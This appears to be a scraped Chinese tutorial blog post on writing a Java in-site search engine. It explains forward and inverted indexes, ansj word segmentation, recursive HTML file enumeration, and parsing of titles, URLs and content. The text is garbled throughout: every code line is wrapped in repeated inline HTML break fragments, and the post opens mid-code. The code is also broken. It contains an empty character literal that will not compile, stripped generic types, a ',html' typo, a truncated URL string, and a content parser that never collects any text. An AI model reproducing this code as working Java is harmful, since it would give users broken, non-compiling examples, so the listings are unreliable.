100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void parseHTML (File f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出标题<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF --- 查看全部
编写一个Java站内搜索引擎系统
如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,那些属于全网搜索,我们这里做一个站内搜索。类似于我们对网站里的资源进行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。建议大家别爬虫要不然被告了。
这里我们可以使用Python,或者下载文档压缩包。
为什么要用索引呢?
因为爬的数据太多了,不索引,难道去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二、模块划分1、索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2、搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3、web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三、怎么实现分词
分词的原理
1、基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2、基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class TastAnsj {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> List terms = ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (Term term : terms) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这一模块总的代码块如下:
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (File f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println("开始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void parseHTML (File f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出标题<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box 